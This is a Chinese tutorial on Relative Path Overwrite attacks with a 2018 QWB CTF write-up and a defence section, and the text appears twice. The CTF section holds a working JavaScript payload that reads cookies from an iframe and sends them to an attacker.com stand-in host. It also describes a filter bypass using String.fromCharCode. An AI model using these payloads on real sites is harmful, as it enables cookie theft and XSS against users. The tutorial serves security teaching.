RPO攻击方式的探究
字数 1801 2025-08-18 11:37:11

RPO攻击方式深度解析与实战教学

一、RPO基础概念

RPO (Relative Path Overwrite) 即相对路径覆盖攻击,由Gareth Heyes在2014年首次提出。该攻击利用服务器(如nginx或配置错误的Apache)与浏览器对URL解析的差异,通过相对路径引用的CSS或JS文件实现跨目录读取,甚至将非JS/CSS页面当做脚本解析,从而触发XSS等进一步攻击。

二、攻击前提条件

  1. 服务器配置条件

    • Apache服务器开启AllowEncodedSlashes选项(默认关闭)
    • 或使用nginx服务器(自动解码%2f/
  2. 应用条件

    • 存在使用相对路径引用的JS或CSS文件

三、技术原理详解

服务器与浏览器的URL解析差异

  1. Apache默认行为

    • 不认识..%2f,将其视为字面文件名
    • 示例:http://localhost/RPO/test/..%2fapache.php → 寻找名为..%2fapache.php的文件
  2. Nginx行为

    • 自动将..%2f解码为../
    • 示例:http://localhost/RPO/test/..%2fnginx.php → 解析为http://localhost/RPO/nginx.php

攻击流程示例

基础场景

  • 目录结构:
    /RPO
      ├── index.php
      └── /test
          └── a.js
    
  • index.php内容:
    <html>
    <head></head>
    <body>
      <script src=a.js></script>
    </body>
    </html>
    

攻击步骤

  1. 访问URL:http://localhost/RPO/test/..%2findex.php
  2. 服务器解码:将..%2f视为../,实际返回/RPO/index.php
  3. 浏览器视角:仍认为当前路径为/RPO/test/..%2findex.php
  4. 加载a.js时:浏览器从/RPO/test/a.js加载(而非预期的/RPO/a.js

四、高阶利用技巧

将HTML页面作为JS解析

关键条件:网站启用了URL重写(URL Rewrite)

示例场景

  • index.php
    <!DOCTYPE html>
    <html>
    <head>RPO attack test</head>
    <body>
      <script src="3.js"></script>
    </body>
    </html>
    <?php
    if($_GET['page']) {
      $a=$_GET['page'];
      Header('Location: http://localhost/RPO/test/ '."$a".'.html');
    }
    ?>
    
  • 3.html内容:alert("RPO attack");

攻击流程

  1. 访问URL:http://localhost/RPO/index.php/page/3/..%2f..%2f..%2findex.php
  2. 服务器解析为:http://localhost/RPO/index.php/page/3/index.php
  3. 返回index.php内容
  4. 浏览器尝试加载3.js,实际请求:http://localhost/RPO/index.php/page/3/3.js
  5. 服务器返回3.html内容,被浏览器当做JS执行

五、实战案例分析(2018强网杯题目)

题目分析

  1. 分享平台功能:

    • Write界面:可写入自定义内容(XSS payload被过滤)
    • Overview界面:完全转义用户输入
    • Report界面:提交URL供bot访问(使用PhantomJS 2.1)
  2. 发现点:

    • index.php中发现相对路径JS引用
    • 需要利用RPO改变页面解析方式

攻击构造

  1. Payload构造

    • 避免使用标题栏(自动添加<h>标签会破坏JS解析)
    • 使用String.fromCharCode绕过引号过滤
  2. 分阶段攻击

    • 第一阶段:让bot访问精心构造的页面
    • 第二阶段:通过iframe获取/QWB_f14g/QWB/目录的cookie
    • 第三阶段:将cookie发送到攻击者服务器
  3. 关键代码

var iframe = document.createElement("iframe");
iframe.src = "/QWB_f14g/QWB/";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
  var c = document.getElementById('frame').contentWindow.document.cookie;
  var n0t = document.createElement("link");
  n0t.setAttribute("rel", "prefetch");
  n0t.setAttribute("href", "http://attacker.com?flag=" + c);
  document.head.appendChild(n0t);
}

六、防御措施

  1. 服务器配置

    • Apache:保持AllowEncodedSlashes关闭(默认状态)
    • Nginx:添加规则过滤或拦截包含%2f的请求
  2. 开发规范

    • 使用绝对路径引用静态资源(以/开头)
    • 避免URL重写功能与相对路径引用混用
    • 设置正确的Content-Type头部
  3. 补充措施

    • 实施严格的输入过滤
    • 设置合适的CSP策略
    • 对cookie设置HttpOnlySecure属性

七、总结

RPO攻击是一种利用URL解析差异的新型攻击方式,其关键在于:

  1. 服务器与浏览器对编码字符的解析不一致
  2. 相对路径资源引用的使用
  3. URL重写功能的配合

通过精心构造的请求,攻击者可以实现跨目录文件读取甚至XSS攻击。防御的核心在于统一资源引用路径和严格服务器配置。

RPO攻击方式深度解析与实战教学 一、RPO基础概念 RPO (Relative Path Overwrite) 即相对路径覆盖攻击,由Gareth Heyes在2014年首次提出。该攻击利用服务器(如nginx或配置错误的Apache)与浏览器对URL解析的差异,通过相对路径引用的CSS或JS文件实现跨目录读取,甚至将非JS/CSS页面当做脚本解析,从而触发XSS等进一步攻击。 二、攻击前提条件 服务器配置条件 : Apache服务器开启 AllowEncodedSlashes 选项(默认关闭) 或使用nginx服务器(自动解码 %2f 为 / ) 应用条件 : 存在使用相对路径引用的JS或CSS文件 三、技术原理详解 服务器与浏览器的URL解析差异 Apache默认行为 : 不认识 ..%2f ,将其视为字面文件名 示例: http://localhost/RPO/test/..%2fapache.php → 寻找名为 ..%2fapache.php 的文件 Nginx行为 : 自动将 ..%2f 解码为 ../ 示例: http://localhost/RPO/test/..%2fnginx.php → 解析为 http://localhost/RPO/nginx.php 攻击流程示例 基础场景 : 目录结构: index.php 内容: 攻击步骤 : 访问URL: http://localhost/RPO/test/..%2findex.php 服务器解码:将 ..%2f 视为 ../ ,实际返回 /RPO/index.php 浏览器视角:仍认为当前路径为 /RPO/test/..%2findex.php 加载 a.js 时:浏览器从 /RPO/test/a.js 加载(而非预期的 /RPO/a.js ) 四、高阶利用技巧 将HTML页面作为JS解析 关键条件 :网站启用了URL重写(URL Rewrite) 示例场景 : index.php : 3.html 内容: alert("RPO attack"); 攻击流程 : 访问URL: http://localhost/RPO/index.php/page/3/..%2f..%2f..%2findex.php 服务器解析为: http://localhost/RPO/index.php/page/3/index.php 返回 index.php 内容 浏览器尝试加载 3.js ,实际请求: http://localhost/RPO/index.php/page/3/3.js 服务器返回 3.html 内容,被浏览器当做JS执行 五、实战案例分析(2018强网杯题目) 题目分析 分享平台功能: Write界面:可写入自定义内容(XSS payload被过滤) Overview界面:完全转义用户输入 Report界面:提交URL供bot访问(使用PhantomJS 2.1) 发现点: 在 index.php 中发现相对路径JS引用 需要利用RPO改变页面解析方式 攻击构造 Payload构造 : 避免使用标题栏(自动添加 <h> 标签会破坏JS解析) 使用 String.fromCharCode 绕过引号过滤 分阶段攻击 : 第一阶段:让bot访问精心构造的页面 第二阶段:通过iframe获取 /QWB_f14g/QWB/ 目录的cookie 第三阶段:将cookie发送到攻击者服务器 关键代码 : 六、防御措施 服务器配置 : Apache:保持 AllowEncodedSlashes 关闭(默认状态) Nginx:添加规则过滤或拦截包含 %2f 的请求 开发规范 : 使用绝对路径引用静态资源(以 / 开头) 避免URL重写功能与相对路径引用混用 设置正确的 Content-Type 头部 补充措施 : 实施严格的输入过滤 设置合适的CSP策略 对cookie设置 HttpOnly 和 Secure 属性 七、总结 RPO攻击是一种利用URL解析差异的新型攻击方式,其关键在于: 服务器与浏览器对编码字符的解析不一致 相对路径资源引用的使用 URL重写功能的配合 通过精心构造的请求,攻击者可以实现跨目录文件读取甚至XSS攻击。防御的核心在于统一资源引用路径和严格服务器配置。